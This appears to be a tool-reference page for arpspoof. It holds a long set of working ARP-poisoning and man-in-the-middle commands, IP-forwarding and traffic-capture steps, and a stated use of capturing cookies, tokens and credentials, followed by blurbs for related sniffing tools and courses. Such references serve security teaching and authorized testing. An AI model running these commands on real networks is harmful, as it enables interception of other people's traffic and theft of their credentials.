Sniffing & Spoofing
arpspoof redirects packets from a target host on the LAN to another host by forging ARP replies. It is a simple and effective utility part of the dsniff suite.
sudo apt install dsniff
arpspoof -i <interface> -t <target> <gateway>
arpspoof is a focused ARP cache poisoning tool from the dsniff suite that redirects traffic between two hosts on a local network. By forging ARP replies, it associates your MAC address with the IP address of another host, causing traffic to flow through your system.
Created by Dug Song, arpspoof is one of the simplest MITM tools available. Its minimal design makes it ideal for learning ARP spoofing fundamentals and for scenarios where a lightweight, single-purpose tool is preferred over comprehensive frameworks.
While modern frameworks like Bettercap offer more features, arpspoof remains valuable for its simplicity and reliability in basic ARP spoofing scenarios. It is often used in conjunction with other dsniff tools like dnsspoof and urlsnarf for complete MITM attack chains.
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1Poison target 192.168.1.10 to intercept traffic bound for gateway 192.168.1.1arpspoof -i eth0 -t 192.168.1.10 -r 192.168.1.1Poison both directions between the target and the gateway with -rarpspoof -i eth0 192.168.1.1Poison the entire LAN's ARP cache for the gateway (no specific target)arpspoof -i wlan0 -t 192.168.1.10 192.168.1.1Run the attack over a wireless interfacearpspoof -i eth0 -c host -t 192.168.1.10 192.168.1.1On exit, restore the victim using the real host's MAC addressarpspoof -i eth0 -c own -t 192.168.1.10 192.168.1.1On exit, send cleanup packets using the attacker's own MACarpspoof -i eth0 -c both -t 192.168.1.10 192.168.1.1On exit, attempt cleanup using both own and host MAC addressessysctl -w net.ipv4.ip_forward=1Enable IP forwarding so intercepted traffic still reaches its destinationecho 1 > /proc/sys/net/ipv4/ip_forwardAlternative way to enable kernel IP forwarding before spoofingarpspoof -t 192.168.1.10 192.168.1.1Run without -i, letting arpspoof pick the default interfacearpspoof -i eth0 -t 10.10.10.10 10.10.10.1Poison a target on a different subnet to intercept its gateway trafficarpspoof -i eth0 -t 192.168.1.20 -r 192.168.1.1Full man-in-the-middle between a second host and the gatewayarpspoof -i eth0 -t 192.168.1.10 192.168.1.50Impersonate a peer host (not the gateway) to intercept host-to-host trafficarpspoof -i eth0 -t 192.168.1.1 192.168.1.10Poison the gateway so it thinks the attacker is the victim (one leg of MITM)arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 > /dev/null 2>&1 &Run the poisoning in the background while another tool captures trafficarpspoof -hPrint the usage summary and available optionsman arpspoofOpen the arpspoof manual page for full option documentationwhich arpspoofConfirm arpspoof (part of the dsniff suite) is installed and on PATHapt install dsniffInstall arpspoof by installing the dsniff package that ships itip route show defaultIdentify the gateway IP to target before starting the spoofarp -aInspect the local ARP table to confirm poisoning is taking effecttcpdump -i eth0 -w capture.pcap host 192.168.1.10Capture the intercepted traffic to a pcap during the spoofarpspoof -i eth0 -t 192.168.1.10 192.168.1.1 # Ctrl+C to stop and restoreStop the attack with Ctrl+C, which triggers ARP cache restorationsysctl -w net.ipv4.ip_forward=0Disable IP forwarding again after finishing the engagementiptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080Redirect intercepted HTTP to a local proxy while arpspoof runs (workflow helper)Redirect target traffic through your system for interception and analysis.
Establish man-in-the-middle position before enabling sniffing tools.
Intercept unencrypted sessions to capture cookies, tokens, and credentials.
Verify network segmentation effectiveness and ARP spoofing resistance.
Teach ARP spoofing fundamentals in controlled lab environments.
Mirror traffic from production hosts to monitoring systems for analysis.
Sniffing & Spoofing
macchanger is a utility for viewing and manipulating the MAC address of network interfaces. Useful for network anonymity and bypassing MAC filtering.
Sniffing & Spoofing
Bettercap is a powerful, flexible network attack and monitoring framework. It is the complete modular successor to ettercap, offering wide-ranging capabilities for WiFi, Bluetooth, and IP network security auditing.
Sniffing & Spoofing
Ettercap is a comprehensive suite for man-in-the-middle attacks. It features sniffing of live connections, content filtering, and active or passive dissection of many protocols.
Sniffing & Spoofing
tcpdump is a powerful, lightweight command-line packet analyzer that allows users to capture, parse, and filter TCP/IP and other packets transmitted or received over a network.
Sniffing & Spoofing
Wireshark tutorial for beginners: capture packets, read the three panes, filter traffic and follow TCP streams — a hands-on guide to the world's foremost network protocol analyzer.
Sniffing & Spoofing
Learn how to use Netcat (nc) in Kali Linux to open a TCP or UDP connection, check a port, and see what a service sends back. Follow the examples to send your first message, inspect HTTP and SMTP responses, and transfer a test file without exposing sensitive data.
Learn the fundamentals of computer networking including the OSI model, TCP/IP protocol suite, IP addressing, subnetting, DNS, and network security essentials.
Networking · IntermediateLearn firewall types, architectures, rule configuration, and best practices for network security and traffic filtering.
Networking · BeginnerMaster the OSI model's seven layers, understand how each layer functions, learn real-world protocol examples, and use the model for troubleshooting.
Tools · BeginnerMaster Wireshark for network traffic capture, protocol analysis, filtering, and troubleshooting with practical examples.
Outputs a simple, continuous log of the deceptive messages being broadcast to the network.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.